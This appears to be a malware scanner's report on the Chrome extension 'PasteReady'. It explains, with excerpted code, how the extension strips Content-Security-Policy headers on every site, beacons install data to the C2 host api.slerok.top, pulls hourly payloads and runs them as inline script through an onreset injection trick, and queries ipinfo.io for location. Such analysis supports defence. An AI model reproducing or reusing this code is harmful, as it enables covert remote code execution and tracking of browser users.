Security Alert: Confirmed Malware
PasteReady - Fix ChatGPT Copy-Paste Issues
ID: dcbikjphkkgmgmjoohmbnhccbndgpmin
Supported Languages
Extension Info & Metadata
Publisher Contextual Analysis
- Author
- https://pasteready.online/View Profile
- Privacy
- Privacy Policy
- Help
- Help Center
- MX records exist
- Yes
- Domain exists
- Yes
- Is disposable
- No
- Is role-based
- No
- Mailbox exists
- Yes
- Website
- Visit
Format ChatGPT text for seamless copy-paste. Instantly search selected text using the Context Menu.
Tired of messy formatting when copying text from ChatGPT to Google Docs or other platforms? With PasteReady, you get perfectly formatted text in just one click—no more fixing line breaks, spaces, or unwanted styling! Key Features: ✅ Instant Formatting – Copy text from ChatGPT without formatting issues. ✅ One-Click Copy – Clean, readable text in a single click. ✅ Context Menu Search – Right-click highlighted text to search instantly. Whether you're writing documents, creating content, or sending emails, PasteReady streamlines your workflow—saving time and effort with every copy-paste.
The extension uses `declarativeNetRequestWithHostAccess` with `host_permissions: ["<all_urls>"]` to silently strip all Content-Security-Policy headers from every HTTP response on every website the user visits. This completely disables the browser's primary XSS defence globally, and directly enables the code injection mechanism in content.bundle.js where C2-served payloads are injected into pages that would otherwise block them via CSP.
[ { "id": 1, "priority": 1, "action": { "type": "modifyHeaders", "responseHeaders": [ { "operation": "remove", "header": "content-security-policy" }, { "operation": "remove", "header": "content-security-policy-report-only" }, { "operation": "remove", "header": "x-webkit-csp" }, { "operation": "remove", "header": "x-content-security-policy" } ] }, "condition": { "urlFilter": "*", "resourceTypes": [ "xmlhttprequest", "main_frame", "sub_frame" ] } }]The content script reads `userInfo` from local storage and passes each entry to function `u`, which creates a DOM element with an `onreset` attribute set to the raw entry value, then fires a `reset` event to execute it. This is a textbook DOM-based XSS / arbitrary code execution primitive: the `userInfo` payload is fetched from the remote C2 server `api.slerok.top` by the background script, giving the operator the ability to inject and run arbitrary JavaScript in the context of any webpage the user visits.
u = function(t) { try { var n = function(t) { var n = document.createElement("div"); return n.setAttribute("onreset", t), n }(t), r = document.body || document.documentElement; if (!r) return; r.appendChild(n), function(t) { t.dispatchEvent(new CustomEvent("reset")) }(n), n.remove() } catch (t) {} }, i = function() { var n = e(t() .m((function n() { var r; return t() .w((function(t) { for (;;) switch (t.p = t.n) { case 0: return t.p = 0, t.n = 1, o("userInfo"); case 1: if ((r = t.v) && Array.isArray(r)) { t.n = 2; break } return t.a(2); case 2: r.forEach(u), t.n = 4;The background script builds requests to `https://api.slerok.top/api/webhook/{endpoint}` and appends a persistent per-installation UUID, the extension's own ID, country, and OS platform as query parameters. This is a covert C2 channel — the domain `slerok.top` is unrelated to the extension's stated purpose and receives beacon calls for `install`, `uninstall`, and `info` events. This URL is also set as the uninstall URL to track removal events.
g = function() { var t = p(o() .m((function t(r) { var e, n, i, c, u = arguments; return o() .w((function(t) { for (;;) switch (t.n) { case 0: return e = u.length > 1 && void 0 !== u[1] ? u[1] : {}, n = new URL("".concat( "https://api.slerok.top/api/webhook", "/") .concat(r)), t.n = 1, v(); case 1: return i = t.v, c = f(f({}, e), {}, { uuid: i, extension: chrome.runtime.id }), Object.entries(c) .forEach((function(t) { var r = a(t, 2), e = r[0], o = r[1]; null != o && n.searchParams.append(e, String(o)) })), t.a(2, n) } }), t) }))); return function(r) { return t.apply(this, arguments) }}(),Every hour, the background script calls `https://api.slerok.top/api/webhook/info`, parses the JSON response, and stores it in local storage under the key `userInfo`. The content script then reads this value and executes each element as inline JavaScript via the `onreset` DOM injection technique. This is a remote code loading pipeline: the C2 server fully controls what code runs on every page the user visits, on a recurring schedule.
S = function() { var t = p(o() .m((function t() { var r, e, n; return o() .w((function(t) { for (;;) switch (t.n) { case 0: return t.n = 1, y.get("installed"); case 1: if (t.v) { t.n = 2; break } return t.a(2); case 2: return t.n = 3, w("last_info_time", 3600); case 3: if (t.v) { t.n = 4; break } return t.a(2); case 4: return t.n = 5, g("info", {}); case 5: return r = t.v, t.n = 6, fetch(r, { method: "GET" }); case 6: if (!(e = t.v) .ok) { t.n = 9; break } return t.n = 7, e.json(); case 7: return n = t.v, t.n = 8, y.set("userInfo", n);The extension silently contacts `https://ipinfo.io/json` to resolve the user's IP address, geographic coordinates (`loc` field), and country code. Although only `country_code` is forwarded to the C2 server, the call itself exposes the user's real IP to ipinfo.io without consent. The latitude/longitude split from `o.loc` is extracted but silently discarded, indicating the code was designed to collect geolocation and may have done so in prior versions.
p = function() { var t = u(i() .m((function t() { var r, e, n, i, a, c; return i() .w((function(t) { for (;;) switch (t.n) { case 0: return t.n = 1, fetch("https://ipinfo.io/json", { method: "GET", headers: { Accept: "application/json" } }); case 1: return e = t.v, t.n = 2, e.json(); case 2: return o = t.v, a = (null === (r = o.loc) || void 0 === r ? void 0 : r.split( ",")) || [], c = n(a, 2), c[0], c[1], t.a(2, { country_code: o.country }) } }), t) }))); return function() { return t.apply(this, arguments) }}(),On first run, the extension beacons to the C2 server with the user's country code and OS platform via the `install` endpoint, records the UUID in local storage to prevent duplicate beacons, and registers an uninstall tracking URL at `api.slerok.top/api/webhook/uninstall`. The install loop retries every 60 seconds until it succeeds. This constitutes covert installation tracking and lifecycle telemetry sent to an undisclosed third party with no user notice or consent.
case 4: return n = g, t.n = 5, b();case 5: return i = t.v, a = d(), t.n = 6, n("install", { country: i, platform: a });case 6: return r = t.v, t.n = 7, fetch(r, { method: "GET" });case 7: if (t.v.ok) { t.n = 8; break }throw new Error("Failed to install");case 8: return t.n = 9, y.set("installed", h() .toString());case 9: return t.n = 10, y.remove("last_install_attempt_time");case 10: return t.n = 11, g("uninstall", {});case 11: e = t.v, chrome.runtime.setUninstallURL(e.toString());By severity
Versions scanned
Showing 1 of 7 scanned versions with more than one unique finding. Counts are unique findings that include each version.
| Extension Version | Code Review Findings |
|---|---|
| 3.4 | 6 |
Files with findings
3 distinct paths — top paths by unique finding count:
- background.bundle.js4
- content.bundle.js1
- rules.json1
URLs
View the external URLs this extension communicates with to understand its network activity and data interactions.
Gain full insight into all external connections.
Upgrade for full visibility.
Gain full insight into all external connections.
Upgrade for full visibility.
Code Diff
Compare extension code between any two versions.
No comparable text files found between these versions.
Browse and explore files within this extension package
Gain full insight into all external connections.
Upgrade for full visibility.